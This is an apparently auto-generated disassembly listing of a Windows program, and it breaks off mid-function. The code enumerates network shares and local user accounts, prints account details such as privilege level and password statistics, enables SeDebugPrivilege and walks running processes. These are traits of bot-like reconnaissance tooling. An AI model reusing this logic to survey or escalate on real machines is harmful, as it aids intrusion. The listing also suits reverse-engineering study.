loc_411518: ; CODE XREF: sub_4113F2+6Cj push [ebp+var_C] call ds:dword_42F60C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_4113F2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41152F proc near ; CODE XREF: seg000:loc_40D349p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_4115C8 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_411558 dec eax jnz short loc_4115A8 push edi push 0 call sub_411701 pop ecx pop ecx jmp short loc_4115A4 ; --------------------------------------------------------------------------- loc_411558: ; CODE XREF: sub_41152F+18j cmp [ebp+arg_8], 0 jnz short loc_411596 push 24h push edi call sub_415110 pop ecx test eax, eax pop ecx jnz short loc_411596 push 57h pop eax loc_41156F: ; CODE XREF: sub_41152F+77j push eax call sub_411ED9 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_45DFCC push ds:off_42B9A8[eax*4] push offset dword_42C0B4 push esi call sub_4135AD add esp, 18h jmp short loc_4115E8 ; --------------------------------------------------------------------------- loc_411596: ; CODE XREF: sub_41152F+2Dj ; sub_41152F+3Bj push [ebp+arg_8] push edi push 0 call sub_411655 add esp, 0Ch loc_4115A4: ; CODE XREF: sub_41152F+27j test eax, eax jnz short loc_41156F loc_4115A8: ; CODE XREF: sub_41152F+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_45DFCC push ds:off_42B9AC[eax*4] push offset dword_42C084 push esi call sub_4135AD add esp, 10h jmp short loc_4115E8 ; --------------------------------------------------------------------------- loc_4115C8: ; CODE XREF: sub_41152F+Aj mov eax, [ebp+arg_0] mov esi, offset dword_45DFCC lea eax, [eax+eax*2] push ds:off_42B9A8[eax*4] push offset dword_42C04C push esi call sub_4135AD add esp, 0Ch loc_4115E8: ; CODE XREF: sub_41152F+65j ; sub_41152F+97j mov eax, esi pop edi pop esi pop ebp retn sub_41152F endp ; =============== S U B R O U T I N E ======================================= sub_4115EE proc near ; CODE XREF: sub_412A1E+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_4115FB xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_4115FB: ; CODE XREF: sub_4115EE+7j push ebx push ebp push edi push esi push esi push esi mov edi, ds:dword_41F128 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; dword_41F128 test ds:byte_45E1CC, 1 mov ebp, eax jnz short loc_411638 or ds:byte_45E1CC, 1 lea eax, [ebp+1] push eax call sub_414855 pop ecx mov ds:dword_45DF6C, eax loc_411638: ; CODE XREF: sub_4115EE+32j push esi push esi push ebp push ds:dword_45DF6C push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; dword_41F128 mov eax, ds:dword_45DF6C pop edi pop ebp pop ebx pop esi retn sub_4115EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411655 proc near ; CODE XREF: sub_41152F+6Dp ; sub_412D42+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_4116C0 push [ebp+arg_4] mov edi, eax call sub_4116C0 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_415110 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_4116C0 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call ds:dword_42F608 pop edi leave retn sub_411655 endp ; =============== S U B R O U T I N E ======================================= sub_4116C0 proc near ; CODE XREF: sub_411655+Ap ; sub_411655+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_4116CD pop ebp retn ; --------------------------------------------------------------------------- loc_4116CD: ; CODE XREF: sub_4116C0+9j push ebx push esi mov esi, ds:dword_41F12C push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; dword_41F12C mov edi, eax lea eax, [edi+edi+2] push eax call sub_414855 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; dword_41F12C pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_4116C0 endp ; =============== S U B R O U T I N E ======================================= sub_411701 proc near ; CODE XREF: sub_41152F+20p ; sub_412A1E+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4116C0 push [esp+8+arg_4] mov esi, eax call sub_4116C0 pop ecx pop ecx push 0 push eax push esi call ds:dword_42F5E0 pop esi retn sub_411701 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411724 proc near ; CODE XREF: seg000:0040D375p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_4116C0 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 18h loc_41175D: ; CODE XREF: sub_411724+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call ds:dword_42F654 mov ebx, eax cmp ebx, esi jz short loc_4117C0 cmp ebx, 0EAh jz short loc_4117C0 push ebx push ebx call sub_411ED9 pop ecx push eax lea eax, [ebp+var_210] push offset dword_42C114 push eax call sub_4135AD push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 24h jmp short loc_41182D ; --------------------------------------------------------------------------- loc_4117C0: ; CODE XREF: sub_411724+5Dj ; sub_411724+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_411824 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_4117CE: ; CODE XREF: sub_411724+FCj push dword ptr [esi+10h] call ds:dword_42F5FC test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_4117E5 mov eax, offset aNo ; "No" loc_4117E5: ; CODE XREF: sub_411724+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_4135AD push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_4117CE xor esi, esi loc_411824: ; CODE XREF: sub_411724+A2j push [ebp+var_4] call ds:dword_42F798 loc_41182D: ; CODE XREF: sub_411724+9Aj cmp ebx, 0EAh jz loc_41175D xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_411724 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411845 proc near ; CODE XREF: seg000:loc_40D3EBp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_4118E9 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_411887 dec eax jz short loc_41187C dec eax jnz short loc_4118A2 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_41198B add esp, 14h jmp short loc_41189E ; --------------------------------------------------------------------------- loc_41187C: ; CODE XREF: sub_411845+1Dj push ebx push edi call sub_41196A pop ecx pop ecx jmp short loc_41189E ; --------------------------------------------------------------------------- loc_411887: ; CODE XREF: sub_411845+1Aj cmp [ebp+arg_8], edi jz short loc_41189B push [ebp+arg_8] push ebx push edi call sub_411910 add esp, 0Ch jmp short loc_41189E ; --------------------------------------------------------------------------- loc_41189B: ; CODE XREF: sub_411845+45j push 57h pop eax loc_41189E: ; CODE XREF: sub_411845+35j ; sub_411845+40j ... cmp eax, edi jnz short loc_4118C2 loc_4118A2: ; CODE XREF: sub_411845+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_45E1D0 push ds:off_42B9AC[eax*4] push offset dword_42C204 push esi call sub_4135AD add esp, 10h jmp short loc_411909 ; --------------------------------------------------------------------------- loc_4118C2: ; CODE XREF: sub_411845+5Bj push eax call sub_411ED9 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_45E1D0 push ds:off_42B9A8[eax*4] push offset dword_42C1C4 push esi call sub_4135AD add esp, 18h jmp short loc_411909 ; --------------------------------------------------------------------------- loc_4118E9: ; CODE XREF: sub_411845+Dj mov eax, [ebp+arg_0] mov esi, offset dword_45E1D0 lea eax, [eax+eax*2] push ds:off_42B9A8[eax*4] push offset dword_42C188 push esi call sub_4135AD add esp, 0Ch loc_411909: ; CODE XREF: sub_411845+7Bj ; sub_411845+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_411845 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411910 proc near ; CODE XREF: sub_411845+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_4116C0 push [ebp+arg_4] mov edi, eax call sub_4116C0 push [ebp+arg_8] mov [ebp+var_24], eax call sub_4116C0 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call ds:dword_42F5EC pop edi leave retn sub_411910 endp ; =============== S U B R O U T I N E ======================================= sub_41196A proc near ; CODE XREF: sub_411845+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4116C0 push [esp+8+arg_4] mov esi, eax call sub_4116C0 pop ecx pop ecx push eax push esi call ds:dword_42F5DC pop esi retn sub_41196A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41198B proc near ; CODE XREF: sub_411845+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_4116C0 push [ebp+arg_4] mov esi, eax call sub_4116C0 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call ds:dword_42F760 test eax, eax mov [ebp+arg_0], eax jnz loc_411D18 mov eax, [ebp+var_4] test eax, eax jz loc_411D53 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_4135AD mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_411AA4 dec eax jz short loc_411A9D dec eax jz short loc_411A96 mov eax, offset aUnknown ; "Unknown" jmp short loc_411AA9 ; --------------------------------------------------------------------------- loc_411A96: ; CODE XREF: sub_41198B+102j mov eax, offset aAdministrator ; "Administrator" jmp short loc_411AA9 ; --------------------------------------------------------------------------- loc_411A9D: ; CODE XREF: sub_41198B+FFj mov eax, offset aUser_1 ; "User" jmp short loc_411AA9 ; --------------------------------------------------------------------------- loc_411AA4: ; CODE XREF: sub_41198B+FCj mov eax, offset aGuest ; "Guest" loc_411AA9: ; CODE XREF: sub_41198B+109j ; sub_41198B+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_4135AD push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_4110B0 add esp, 20h pop edi pop ebx jmp short loc_411D44 ; --------------------------------------------------------------------------- loc_411D18: ; CODE XREF: sub_41198B+35j push eax lea eax, [ebp+var_204] push offset dword_42C238 push eax call sub_4135AD push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_4110B0 add esp, 20h loc_411D44: ; CODE XREF: sub_41198B+38Bj cmp [ebp+var_4], 0 jz short loc_411D53 push [ebp+var_4] call ds:dword_42F798 loc_411D53: ; CODE XREF: sub_41198B+40j ; sub_41198B+3BDj mov eax, [ebp+arg_0] pop esi leave retn sub_41198B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411D59 proc near ; CODE XREF: seg000:0040D417p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_4116C0 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 18h loc_411D98: ; CODE XREF: sub_411D59+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call ds:dword_42F670 cmp eax, esi mov [ebp+var_C], eax jz short loc_411DF9 cmp eax, 0EAh jz short loc_411DF9 push eax push eax call sub_411ED9 pop ecx push eax lea eax, [ebp+var_218] push offset dword_42C440 push eax call sub_4135AD push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 24h jmp short loc_411E74 ; --------------------------------------------------------------------------- loc_411DF9: ; CODE XREF: sub_411D59+62j ; sub_411D59+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_411E87 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_411E74 loc_411E0B: ; CODE XREF: sub_411D59+EDj cmp edi, esi jz short loc_411E4A push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_4135AD push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_411E0B jmp short loc_411E74 ; --------------------------------------------------------------------------- loc_411E4A: ; CODE XREF: sub_411D59+B4j lea eax, [ebp+var_218] push offset dword_42C3F8 push eax call sub_4135AD push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 1Ch loc_411E74: ; CODE XREF: sub_411D59+9Ej ; sub_411D59+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_411E87 push edi call ds:dword_42F798 xor edi, edi mov [ebp+var_4], edi loc_411E87: ; CODE XREF: sub_411D59+A5j ; sub_411D59+120j cmp [ebp+var_C], 0EAh jz loc_411D98 cmp edi, esi jz short loc_411E9F push edi call ds:dword_42F798 loc_411E9F: ; CODE XREF: sub_411D59+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_4135AD push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4110B0 add esp, 20h xor eax, eax cmp [ebp+var_C], esi pop edi pop esi setz al pop ebx leave retn sub_411D59 endp ; =============== S U B R O U T I N E ======================================= sub_411ED9 proc near ; CODE XREF: sub_41152F+41p ; sub_411724+69p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 858h cmp eax, ecx ja loc_411F8B jz loc_411F84 cmp eax, 7Bh ja short loc_411F50 jz short loc_411F46 cmp eax, 5 jz short loc_411F3C cmp eax, 8 jz short loc_411F32 cmp eax, 32h jz short loc_411F28 cmp eax, 35h jz short loc_411F1E cmp eax, 57h jnz loc_411FDA push offset aInvalidParamet ; "Invalid parameter." jmp loc_411FFB ; --------------------------------------------------------------------------- loc_411F1E: ; CODE XREF: sub_411ED9+30j push offset aServerNameNotF ; "Server name not found." jmp loc_411FFB ; --------------------------------------------------------------------------- loc_411F28: ; CODE XREF: sub_411ED9+2Bj push offset aThisNetworkReq ; "This network request is not supported." jmp loc_411FFB ; --------------------------------------------------------------------------- loc_411F32: ; CODE XREF: sub_411ED9+26j push offset aNotEnoughMemor ; "Not enough memory." jmp loc_411FFB ; --------------------------------------------------------------------------- loc_411F3C: ; CODE XREF: sub_411ED9+21j push offset aAccessDenied_ ; "Access denied." jmp loc_411FFB ; --------------------------------------------------------------------------- loc_411F46: ; CODE XREF: sub_411ED9+1Cj push offset aTheNameIsInval ; "The name is invalid." jmp loc_411FFB ; --------------------------------------------------------------------------- loc_411F50: ; CODE XREF: sub_411ED9+1Aj sub eax, 7Ch jz short loc_411F7D sub eax, 7C8h jz short loc_411F76 dec eax jz short loc_411F6C dec eax jnz short loc_411FDA push offset aDuplicateShare ; "Duplicate share name." jmp loc_411FFB ; --------------------------------------------------------------------------- loc_411F6C: ; CODE XREF: sub_411ED9+84j push offset aInvalidForRedi ; "Invalid for redirected resource." jmp loc_411FFB ; --------------------------------------------------------------------------- loc_411F76: ; CODE XREF: sub_411ED9+81j push offset aDeviceOrDirect ; "Device or directory does not exist." jmp short loc_411FFB ; --------------------------------------------------------------------------- loc_411F7D: ; CODE XREF: sub_411ED9+7Aj push offset aLevelParameter ; "Level parameter is invalid." jmp short loc_411FFB ; --------------------------------------------------------------------------- loc_411F84: ; CODE XREF: sub_411ED9+11j push offset aAGeneralFailur ; "A general failure occurred in the netwo"... jmp short loc_411FFB ; --------------------------------------------------------------------------- loc_411F8B: ; CODE XREF: sub_411ED9+Bj mov ecx, 8C5h cmp eax, ecx ja short loc_411FC4 jz short loc_411FBD sub eax, 8ADh jz short loc_411FEF dec eax dec eax jz short loc_411FB6 dec eax jz short loc_411FAF dec eax dec eax jnz short loc_411FDA push offset aTheOperationIs ; "The operation is allowed only on the pr"... jmp short loc_411FFB ; --------------------------------------------------------------------------- loc_411FAF: ; CODE XREF: sub_411ED9+C9j push offset aTheUserAccount ; "The user account already exists." jmp short loc_411FFB ; --------------------------------------------------------------------------- loc_411FB6: ; CODE XREF: sub_411ED9+C6j push offset aTheGroupAlread ; "The group already exists." jmp short loc_411FFB ; --------------------------------------------------------------------------- loc_411FBD: ; CODE XREF: sub_411ED9+BBj push offset aThePasswordIsS ; "The password is shorter than required ("... jmp short loc_411FFB ; --------------------------------------------------------------------------- loc_411FC4: ; CODE XREF: sub_411ED9+B9j sub eax, 8CAh jz short loc_411FF6 sub eax, 17h jz short loc_411FEF sub eax, 25h jz short loc_411FE8 sub eax, 29h jz short loc_411FE1 loc_411FDA: ; CODE XREF: sub_411ED9+35j ; sub_411ED9+87j ... push offset aAnUnknownErr_0 ; "An unknown error occurred." jmp short loc_411FFB ; --------------------------------------------------------------------------- loc_411FE1: ; CODE XREF: sub_411ED9+FFj push offset aTheComputerNam ; "The computer name is invalid." jmp short loc_411FFB ; --------------------------------------------------------------------------- loc_411FE8: ; CODE XREF: sub_411ED9+FAj push offset aShareNotFound_ ; "Share not found." jmp short loc_411FFB ; --------------------------------------------------------------------------- loc_411FEF: ; CODE XREF: sub_411ED9+C2j ; sub_411ED9+F5j push offset aTheUserNameCou ; "The user name could not be found." jmp short loc_411FFB ; --------------------------------------------------------------------------- loc_411FF6: ; CODE XREF: sub_411ED9+F0j push offset aNetworkConnect ; "Network connection not found." loc_411FFB: ; CODE XREF: sub_411ED9+40j ; sub_411ED9+4Aj ... push offset dword_45DF70 call sub_4135AD pop ecx mov eax, offset dword_45DF70 pop ecx retn sub_411ED9 endp ; --------------------------------------------------------------------------- loc_41200D: ; CODE XREF: seg000:0040D456p push ebp mov ebp, esp sub esp, 718h push esi push 200h push dword ptr [ebp+8] lea eax, [ebp-718h] push eax call sub_415A89 add esp, 0Ch lea eax, [ebp+8] mov esi, 108h push eax lea eax, [ebp-108h] push eax mov [ebp+8], esi call near ptr 0A70000h or al, 8Dh test edi, eax ; --------------------------------------------------------------------------- dw 0FFFEh ; --------------------------------------------------------------------------- call dword ptr [esi+50h] lea eax, [ebp-318h] push eax call sub_415A89 lea eax, [ebp-718h] push eax call sub_415A6C add esp, 10h shl eax, 1 push eax lea eax, [ebp-718h] push eax lea eax, [ebp-318h] push 0 push eax push 0 call ds:dword_42F718 test eax, eax jnz short loc_41209D mov esi, offset dword_45DD6C push offset dword_42C798 push esi call sub_4135AD pop ecx pop ecx jmp short loc_4120C6 ; --------------------------------------------------------------------------- loc_41209D: ; CODE XREF: seg000:00412087j lea ecx, [ebp-718h] push ecx lea ecx, [ebp-318h] push ecx push eax call sub_411ED9 pop ecx mov esi, offset dword_45DD6C push eax push offset dword_42C75C push esi call sub_4135AD add esp, 14h loc_4120C6: ; CODE XREF: seg000:0041209Bj mov eax, esi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4120CB proc near ; CODE XREF: sub_40829B+7p ; sub_412136+5Fp ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call near ptr 0A70000h inc edi push eax call ds:dword_42F6EC test eax, eax jnz short loc_4120EA leave retn ; --------------------------------------------------------------------------- loc_4120EA: ; CODE XREF: sub_4120CB+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call ds:dword_42F6C4 test eax, eax jz short loc_412128 cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_412111 or [ebp+var_8], 2 jmp short loc_412115 ; --------------------------------------------------------------------------- loc_412111: ; CODE XREF: sub_4120CB+3Ej and [ebp+var_8], 0FFFFFFFDh loc_412115: ; CODE XREF: sub_4120CB+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call ds:dword_42F774 mov esi, eax loc_412128: ; CODE XREF: sub_4120CB+32j push [ebp+var_4] call ds:dword_41F070 ; CloseHandle mov eax, esi pop esi leave retn sub_4120CB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412136 proc near ; CODE XREF: seg000:0040FB34p ; sub_4122E7+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp ds:dword_42F728, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_4122E0 cmp ds:dword_42F70C, ebx jz loc_4122E0 cmp ds:dword_42F628, ebx jz loc_4122E0 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_4120CB pop ecx pop ecx push ebx push 0Fh call ds:dword_42F728 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_4122D3 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call ds:dword_42F70C mov esi, ds:dword_41F070 test eax, eax jz loc_4122CE loc_4121D9: ; CODE XREF: sub_412136+BEj ; sub_412136+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call ds:dword_42F628 test eax, eax jz loc_4122CE cmp [ebp+arg_10], ebx jnz short loc_4121D9 cmp [ebp+arg_C], ebx jnz loc_412286 cmp [ebp+arg_4], ebx jz short loc_4121D9 push [ebp+var_124] push 8 call ds:dword_42F728 cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_412243 lea eax, [ebp+var_350] push eax push edi call 